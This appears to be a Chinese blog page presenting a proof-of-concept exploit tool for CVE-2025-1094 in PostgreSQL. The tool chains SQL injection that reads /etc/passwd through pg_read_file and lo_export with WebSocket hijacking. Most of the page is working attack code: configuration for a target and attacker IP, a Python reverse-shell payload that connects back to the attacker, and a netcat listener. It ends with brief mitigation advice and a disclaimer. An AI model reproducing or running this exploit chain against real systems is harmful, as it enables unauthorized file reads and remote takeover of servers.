CVE-2025-1094 PostgreSQL SQL注入与WebSocket劫持远程代码执行利用工具

CVE-2025-1094:SQL注入到远程代码执行(RCE)利用工具 🚀

本项目提供了一个针对 CVE-2025-1094 漏洞的完整概念验证(PoC)利用工具。该漏洞存在于PostgreSQL数据库中,攻击者可以通过SQL注入(SQLi)漏洞,结合WebSocket劫持技术,实现远程代码执行(RCE),最终获取目标服务器的完全控制权。

功能特性

  • SQL注入利用 :通过构造恶意SQL语句,利用lo_export函数读取服务器敏感文件(如/etc/passwd)并保存到可写目录
  • WebSocket劫持:主动连接目标WebSocket服务,发送恶意命令执行载荷
  • 反向Shell获取:通过Python反弹Shell脚本,建立与攻击者服务器的远程连接
  • 多线程并发:WebSocket攻击与监听器同时运行,提高利用效率
  • 完整攻击链:从初始注入到最终获得Shell,一站式完成整个利用流程

安装指南

系统要求

  • Python 3.6+
  • 目标系统:存在CVE-2025-1094漏洞的PostgreSQL服务
  • 攻击机:具有公网IP或可被目标访问的IP地址

依赖安装

bash 复制代码
# 克隆仓库
git clone https://github.com/soltanali0/CVE-2025-1094.git
cd CVE-2025-1094

# 安装Python依赖
pip install websocket-client requests

配置说明

在运行脚本之前,需要修改以下配置变量:

python 复制代码
TARGET_URL = "http://vulnerable-site.com/vuln-endpoint"  # 目标漏洞端点
WEBSOCKET_URL = "ws://vulnerable-site.com/socket"        # WebSocket服务地址
REVERSE_IP = "YOUR_IP"                                   # 攻击者监听IP
REVERSE_PORT = 4444                                      # 攻击者监听端口

使用说明

基础用法

  1. 启动监听器(在攻击机上):
bash 复制代码
nc -lvnp 4444
  1. 运行利用脚本
bash 复制代码
python exploit.py
  1. 获取Shell:成功利用后,监听器将收到目标服务器的反向Shell连接。

完整攻击流程

该工具按照以下顺序执行攻击:

  1. SQL注入阶段 :向目标URL发送包含恶意SQL语句的POST请求,利用lo_export函数将/etc/passwd文件导出到/tmp/payload
  2. WebSocket连接阶段:建立与目标WebSocket服务的连接,发送初始化指令
  3. RCE载荷投递:通过WebSocket发送Python反弹Shell代码,在目标服务器上执行
  4. Shell接收:攻击者监听端口接收到目标服务器的反向Shell

核心代码

1. SQL注入载荷构建
python 复制代码
# 利用lo_export函数读取敏感文件并导出到可写目录
sql_payload = """SELECT lo_export(
  (SELECT convert_from(pg_read_file('/etc/passwd'), 'UTF8')), 
  '/tmp/payload'
);"""

# 发送SQL注入请求
requests.post(TARGET_URL, data={"input": sql_payload}, headers={"Content-Type": "application/x-www-form-urlencoded"})
2. WebSocket消息处理
python 复制代码
def on_message(ws, message):
    """处理WebSocket接收到的消息"""
    print("[+] Received message from WebSocket:", message)
    
    # 构建Python反弹Shell载荷
    exploit_payload = f"""import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("{REVERSE_IP}",{REVERSE_PORT})); 
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);"""
    
    # 通过WebSocket发送执行命令
    ws.send(f"EXECUTE_COMMAND:{exploit_payload}")
3. WebSocket连接与劫持
python 复制代码
def on_open(ws):
    """WebSocket连接建立后的回调"""
    print("[+] WebSocket connection established.")
    ws.send("INITIATE_EXPLOIT")

def start_websocket_exploit():
    """启动WebSocket攻击"""
    ws = websocket.WebSocketApp(WEBSOCKET_URL, 
                                on_message=on_message, 
                                on_open=on_open)
    ws.run_forever()
4. 反向Shell监听器
python 复制代码
def start_listener():
    """启动netcat监听器接收反向Shell"""
    print(f"[+] Listening on {REVERSE_PORT}...")
    os.system(f"nc -lvnp {REVERSE_PORT}")

# 在独立线程中启动WebSocket攻击
threading.Thread(target=start_websocket_exploit).start()
time.sleep(2)

# 启动监听器
start_listener()

漏洞修复建议

为了防范此类攻击,建议采取以下措施:

  • 使用预编译语句:使用参数化查询替代动态SQL拼接,从根本上防止SQL注入
  • 输入验证与过滤:对所有用户输入进行严格验证和清理
  • 限制危险函数 :限制lo_exportpg_read_file等敏感函数的执行权限
  • WebSocket安全加固:对WebSocket连接实施身份验证和加密(WSS)
  • 及时更新补丁:保持PostgreSQL到最新版本,关注安全公告

免责声明

本项目仅供教育和安全研究使用。使用此工具前,请确保您已获得目标系统的明确授权。未经授权的系统入侵行为违反法律法规,使用者需自行承担一切法律责任。 6HFtX5dABrKlqXeO5PUv/y+hadQXQKkjzncEnFNwGdXIEzhSSFS2E4KQ5NDeUmxe

相关推荐
一只叫煤球的猫6 分钟前
开个新坑,从头开始完整拆解 Spring AI 2.0 的源码
后端·面试·aigc
小赵AI手记20 分钟前
技术拆解(十七)具身智能:机器人动作生成为何走向Diffusion Policy?
人工智能·笔记·python·机器人
CoovallyAIHub22 分钟前
系统越上越多、问题越查越慢,制造业厂长的真实痛点
人工智能·agent·数据可视化
xcLeigh22 分钟前
AI内容检测:如何判断一篇文章是否为AI生成
人工智能·ai·提示词·灵感写作
baopixiaoz39 分钟前
AI量化策略师|Web3 量化交易研究员
大数据·人工智能·python·区块链
大模型码小白1 小时前
思维树提示:让AI探索多条推理路径
人工智能
程序员cxuan1 小时前
本地跑一个 Qwen 3.8,你将拥有一个 Opus 4.6
人工智能·后端·程序员
aidesignplus1 小时前
Anthropic 最新发布《2026 Agentic Coding Trends Report》粗浅解析
人工智能
能源革命1 小时前
AI日报 2026-08-15
人工智能
Uncommon.1 小时前
使用Pytorch自动计算梯度
人工智能·pytorch·python